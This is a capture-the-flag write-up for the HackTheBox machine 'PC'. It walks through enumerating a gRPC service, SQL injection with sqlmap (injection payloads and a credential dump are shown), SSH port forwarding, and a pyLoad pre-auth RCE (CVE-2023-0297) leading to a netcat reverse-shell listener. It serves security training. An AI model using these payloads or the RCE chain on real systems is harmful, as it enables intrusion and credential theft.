PC HacktheBox WriteUp

PC HacktheBox WriteUp

Summary

PC is a Linux machine that requires us to obtain user credentials through a SQL Injection vulnerability, then to escalate our privileges by attacking an internal web application.

Enumeration, Foothold, User

First, we start off with an Nmap scan. Scanning all TCP ports, only ssh and port 50051 are open. 50051 has an unknown service running on it. Let’s start by enumerating that port.

┌─[stitch@parrot]─[~/HTB/pc]
└──╼ $sudo nmap -sC -sV -p- 10.129.227.198 -oA pc_tcp
[sudo] password for stitch: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 21:06 CEST
Nmap scan report for 10.129.227.198
Host is up (0.055s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.93%I=7%D=5/21%Time=646A6C18%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.97 seconds

When we visit that port 50051 in our browser, it comes back with only encoded characters. This is not what we are looking for.

Let’s try another way to connect, by using netcat. In your terminal type:

nc 10.129.228.12 50051

When we do this, we get similar strange characters.

Entering any sort of input kills the connection, so let’s just leave it open for a bit to see if we get any more information. When we do this we get the following error which points out HTTP/2, and searching the error we get results about grpc. Great! This gives us a starting point.

From here, we need to find a tool to interact with the service. You can use Postman, grpcurl, grpcui, etc. I chose to use grpcui in order to easily forward requests through BurpSuite and point other tools at it.

After installing grpcui, we run the tool (pointing it at the target machine)

Pop open the web UI in your browser, and you can see the grpc application and services. It looks like it is called SimpleApp, and has Login, Register, and GetInfo functionalities. The other advantage of this grpcui tool is that it auto-fills the request data (postman can do this as well).

So, from here we have three choices of what to test. Let’s start by seeing if any regular default credentials work on loginuser. I always start with admin:admin.

Fill out the form then hit Invoke (you can also review the json request etc if you want to)

And it looks like those credentials were valid. We receive a message with an ID and a token as well. Let’s save both, as we’ll likely need them for another part of the application.

Sure enough, we need them for the GetInfo service. Let’s fill out the token in the header (metadata) and use the 811 from our login as the value for “id”.

Let’s also send this to a burpsuite project in order to see more of what is happening with our request itself. (I use the foxyproxy extension to point the browser to my burpsuite port)

Our request looks something like this.

POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:42041
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:42041/
Content-Type: application/json
x-grpcui-csrf-token: EoJHqXNWxIxWhgFpc3lsICCJkWQ0MfRNInZ3a57Sc5M
X-Requested-With: XMLHttpRequest
Content-Length: 193
Origin: http://127.0.0.1:42041
DNT: 1
Connection: close
Cookie: remember_token=2|d540af3f8233448de953a35d8ae2010886fc5ba93be88036c9db64e0f4a1c34abfc8597923fe15db3e4f52b9bdcea845db0dba323e3dac51ea00ae3b2a88e657; _grpcui_csrf_token=EoJHqXNWxIxWhgFpc3lsICCJkWQ0MfRNInZ3a57Sc5M
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ4MjYzNDN9.KFHSrkIXXA6T44N_czqwtkkwmDqJ8G7zwgLpgDbMRdA"}],"data":[{"id":"811"}]}

Let’s also send the request to the repeater and intruder in burpsuite before forwarding. When we forward this request, all we get in the browser is the message “Will update soon”

That doesn’t give us much info to go on, but maybe we can “break” the application somehow to get more info. I tried a few things, such as trying different numeric id values in case the messages lined up with specific values. They did not seem to and I kept receiving errors, so I moved on to trying sql injection within the json request. This is where repeater or intruder comes in handy.

I had many failed manual sql injection attempts before I found that the payload below would act as though I had entered the right id or would at least give me the message “The admin is working hard to fix the issues”. This is proof that the application is vulnerable to some sort of sql injection.

"id":"9 or 1=1"

Let’s now point sqlmap at our grpcui instance to automate this injection further.

Right-click the request in burpsuite, and select copy to file then save the file.

Then edit the file in a text editor of your choice to add an asterisk at the injection point.

We can then load the file to sqlmap, and dump the db:

┌─[✗]─[stitch@parrot]─[~]
└──╼ $sqlmap -r pc.txt -a
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.12#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 06:49:32 /2023-05-23/

[06:49:32] [INFO] parsing HTTP request from 'pc.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] 
JSON data found in POST body. Do you want to process it? [Y/n/q] 
Cookie parameter 'remember_token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] 
Cookie parameter '_grpcui_csrf_token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] 
[06:49:38] [INFO] resuming back-end DBMS 'sqlite' 
[06:49:38] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ4MjExOTJ9.SHIyMqW3Xze5PGQxHsfsnNk7y4T9aoK-6Puzwt6HQXo"}],"data":[{"id":"630  AND 1976=1976"}]}

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ4MjExOTJ9.SHIyMqW3Xze5PGQxHsfsnNk7y4T9aoK-6Puzwt6HQXo"}],"data":[{"id":"630  AND 1937=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))"}]}

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ4MjExOTJ9.SHIyMqW3Xze5PGQxHsfsnNk7y4T9aoK-6Puzwt6HQXo"}],"data":[{"id":"-2489 UNION ALL SELECT CHAR(113,107,112,107,113)||CHAR(119,101,113,120,73,75,73,66,71,68,88,122,118,119,98,77,80,119,66,68,104,67,65,84,86,103,80,114,82,77,105,115,114,84,122,101,69,79,81,78)||CHAR(113,122,107,113,113)-- yhQM"}]}
---
[06:49:38] [INFO] the back-end DBMS is SQLite
[06:49:38] [INFO] fetching banner
back-end DBMS: SQLite
banner: '3.31.1'
[06:49:38] [WARNING] on SQLite it is not possible to enumerate the current user
[06:49:38] [WARNING] on SQLite it is not possible to get name of the current database
[06:49:38] [WARNING] on SQLite it is not possible to enumerate the hostname
[06:49:38] [WARNING] on SQLite the current user has all privileges
current user is DBA: True
[06:49:38] [WARNING] on SQLite it is not possible to enumerate the users
[06:49:38] [WARNING] on SQLite it is not possible to enumerate the user password hashes
[06:49:38] [WARNING] on SQLite it is not possible to enumerate the user privileges
[06:49:38] [WARNING] on SQLite the concept of roles does not exist. sqlmap will enumerate privileges instead
[06:49:38] [WARNING] on SQLite it is not possible to enumerate the user privileges
[06:49:38] [INFO] sqlmap will dump entries of all tables from all databases now
[06:49:38] [INFO] fetching tables for database: 'SQLite_masterdb'
[06:49:38] [INFO] fetching columns for table 'messages' 
[06:49:38] [INFO] fetching entries for table 'messages'
Database: <current>
Table: messages
[1 entry]
+-----+-------------------+----------+
| id  | message           | username |
+-----+-------------------+----------+
| 630 | Will update soon. | admin    |
+-----+-------------------+----------+

[06:49:38] [INFO] table 'SQLite_masterdb.messages' dumped to CSV file '/home/stitch/.local/share/sqlmap/output/127.0.0.1/dump/SQLite_masterdb/messages.csv'
[06:49:38] [INFO] fetching columns for table 'accounts' 
[06:49:38] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+

[06:49:38] [INFO] table 'SQLite_masterdb.accounts' dumped to CSV file '/home/stitch/.local/share/sqlmap/output/127.0.0.1/dump/SQLite_masterdb/accounts.csv'
[06:49:38] [INFO] fetched data logged to text files under '/home/stitch/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 06:49:38 /2023-05-23/

Now we have a username and password that we can try to ssh into the machine with.

The credentials worked and we can read the root flag in the user’s home folder!

Privilege Escalation & Root

Now that we are in the machine, we should see what other services are running. You can use a tool like linpeas (which is amazing), or manually enumerate. Let’s start out with manual enumeration. We check for sudo privs, and our user is not allowed to run sudo on the machine. Next, we check netstat for any listening ports to see if there is something only available to the localhost. It looks like there is something running on port 8000 and on 9666!

There’s a few ways that we can route traffic through our target or forward ports to access these sites on our attacker machine. I chose to use dynamic forwarding through ssh so that I can point burpsuite at it as a socks5 proxy. So, the chain looks like this: Browser on attacker machine ↔ Burpsuite Proxy ↔ Socks5 proxy ↔ <target>:8000

ssh:

Burpsuite:

Now when I visit localhost:8000 in my browser, I am able to interact with the site hosted on our target machine that we are logged into as sau.

We see that port 8000 is running pyLoad. Searching the internet for “pyLoad cve” comes up with several recent results, one that I found interesting was on bAuh0lz’s Github: https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad

This is an unauthenticated code injection vulnerability. Let’s create a reverse shell script, and see if we can use this POC from bAuh0lz to trigger it.

sau@pc:/tmp$ vim shell.sh
sau@pc:/tmp$ chmod +x shell.sh 
sau@pc:/tmp$

Since this service appears to be running as root from the netstat output, we hope to get a root shell back in a netcat listener. Make sure to spin up a listener on your attacker machine.

nc -lvnp <attacker port>

Then we edit the payload and send using burpsuite or curl.

And we get a root shell back on our netcat listener. We can read the root flag from /root/root.txt

Conclusion

By attacking this machine, we practiced SQL Injection vulnerabilities, environment enumeration, port forwarding/proxying, and web application vulnerabilities.